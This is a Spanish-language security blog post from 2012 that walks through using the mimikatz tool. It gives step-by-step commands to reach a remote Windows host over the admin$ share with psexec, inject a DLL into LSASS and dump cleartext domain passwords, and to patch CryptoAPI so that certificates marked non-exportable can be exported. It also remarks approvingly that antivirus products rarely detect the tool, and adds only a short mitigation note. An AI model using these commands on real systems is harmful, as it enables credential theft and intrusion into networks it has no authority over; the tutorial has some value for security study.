9 jul 2012

Volcado de contraseñas con mimikatz

mimikatz es una herramienta que entre otras características permite el volcado de contraseñas en texto claro de un sistema Windows, la exportación de certificados marcados como no exportables o la obtención de hashes de la SAM.

Una de las principales ventajas que presenta frente a otras herramientas como wce, es que aún no es demasiado popular y los antivirus no la detectan como aplicación maliciosa. Tan solo 5 de 41 la tienen catalogada como tal. ¡A ver lo que dura!


Para ver cómo funciona, mejor ver algunos ejemplos de uso.

1.- Nombre de usuario y PC
Para empezar y ver la sintaxis, algo sencillo. Obtención del nombre de usuario y el PC.

a.- Iniciar mimikatz desde la ruta en la que se haya descargado e invocar el módulo system con el comando "user" para sacar el nombre de usuario: system::user

b.- El nombre del equipo con el comando "computer" del módulo system:system::computer. Sencillo, ¿verdad?

2.- Contraseñas en claro de un dominio.
Como es lógico, es necesario tener permisos de administrador ya que la herramienta no explota ninguna vulnerabilidad de escalada de privilegios. En este ejemplo se hará uso junto a psexec de sysinternals para el uso remoto contra la dirección IP remota: 172.16.X.X

a.- Se autentica contra el servidor remoto (del que se volcarán las contraseñas) mediante el comando: net use \\172.16.X.X\admin$ que solicitará las credenciales.

b.- Se copia la librería auxiliar "sekurla.dll" en el directorio System32 del sistema remoto, proporcionada con el propio mimikatz: copy sekurla.dll \\172.16.X.X\admin$\system32

c.- El tercer paso es la ejecución de mimikatz, usando la arquitectura que corresponda, ya sea 32 o 64 bits: psexec /accepteula \\172.16.X.X\ -c mimikatz.exe

d.- Una vez arrancado se verifica que hay acceso al privilegio: SeDebugPrivilege, con el comando: privilege::debug aunque esto no es necesario si se tiene acceso SYSTEM.
e.- Se procede a inyectar la librería en el proceso de LSASS: inject::process lsass.exe sekurlsa.dll

f.- Por último, se solicitan las contraseñas con: @getLogonPasswords

Solucionar el problema no es sencillo, ya que requiere deshabilitar los Security Support Providers (SSP) TsPkg y Wdigest de la clave: HKLM\SYSTEM\CurrentControlSet\Control\LSA\Security Packages en caso de Windows 7 y 2008, opción no soportada por Microsoft y que rompe el Network Level Authentication (NLA) de RDP, dejando este de funcionar.

3.- Exportación de certificados.
Para exportar certificados, marcados como NO exportables, mimikatz parchea la CryptoApi y luego intenta la exportación. El ejemplo para mi equipo local:

a.- Se arranca mimikatz ejecutando el binario de la arquitectura que corresponda:C:\tmp\mimikatzz\x64\mimikatz

b.- Igual que en el caso anterior, se verifica el acceso a SeDebugPrivilege mediante:privilege::debug que debe responder "OK".

c.- Se procede al parcheo de la CryptoApi con el comando: crypto::patchcapi

d.- Se intentan exportar dos veces los certificados con la instrucción: crypto::exportCertificatespero falla, indicándolo con un resultado "KO".

e.- Cuando esto ocurre, hay que probar varias veces a parchear la cryptoapi y exportar, hasta que funciona tal y como muestra la captura. Dependiendo de la versión de Windows, será necesario usarcrypto::patchcapi o por el contrario crypto::patchcng

Referencias:
http://blog.opensecurityresearch.com/2012/06/using-mimikatz-to-dump-passwords.html
http://computer-forensics.sans.org/blog/2012/03/09/protecting-privileged-domain-accounts-disabling-encrypted-passwords#
http://blog.gentilkiwi.com/mimikatz

Autor: Alejandro Ramos
Fuente: SecurityByDefault

Suscríbete a nuestro Boletín

0 Comments:

Publicar un comentario

Gracias por dejar un comentario en Segu-Info.

Gracias por comentar!